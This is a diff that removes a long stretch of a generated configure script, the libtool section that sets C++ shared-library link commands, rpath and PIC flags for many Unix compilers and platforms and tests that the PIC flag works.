- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_CXX='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- ld_shlibs_CXX=no
- ;;
- openbsd*)
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- export_dynamic_flag_spec_CXX='${wl}-E'
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' -expect_unresolved \*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
- archive_cmds_CXX='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_shlibpath_var_CXX=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- link_all_deplibs_CXX=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
- no_undefined_flag_CXX='${wl}-z,text'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- no_undefined_flag_CXX='${wl}-z,text'
- allow_undefined_flag_CXX='${wl}-z,nodefs'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
- export_dynamic_flag_spec_CXX='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-GCC_CXX="$GXX"
-LD_CXX="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-
-if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$compiler_lib_search_path_CXX"; then
- compiler_lib_search_path_CXX="${prev}${p}"
- else
- compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
- # linked, so don't bother handling this case.
- esac
- else
- if test -z "$postdeps_CXX"; then
- postdeps_CXX="${prev}${p}"
- else
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$predep_objects_CXX"; then
- predep_objects_CXX="$p"
- else
- predep_objects_CXX="$predep_objects_CXX $p"
- fi
- else
- if test -z "$postdep_objects_CXX"; then
- postdep_objects_CXX="$p"
- else
- postdep_objects_CXX="$postdep_objects_CXX $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling CXX test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- predep_objects_CXX=
- postdep_objects_CXX=
- postdeps_CXX=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- postdeps_CXX='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-
-
-case " $postdeps_CXX " in
-*" -lc "*) archive_cmds_need_lc_CXX=no ;;
-esac
-
-lt_prog_compiler_wl_CXX=
-lt_prog_compiler_pic_CXX=
-lt_prog_compiler_static_CXX=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_CXX='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- lt_prog_compiler_pic_CXX=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_CXX=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- else
- lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_CXX='-qnocommon'
- lt_prog_compiler_wl_CXX='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- lt_prog_compiler_pic_CXX='+Z'
- fi
- ;;
- aCC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_CXX='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-fpic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- lt_prog_compiler_pic_CXX='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- lt_prog_compiler_wl_CXX='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- lt_prog_compiler_wl_CXX='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- lt_prog_compiler_pic_CXX='-pic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- lcc*)
- # Lucid
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- lt_prog_compiler_can_build_shared_CXX=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_CXX"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... " >&6; }
-if ${lt_prog_compiler_pic_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_CXX=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_CXX=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then
- case $lt_prog_compiler_pic_CXX in
- "" | " "*) ;;
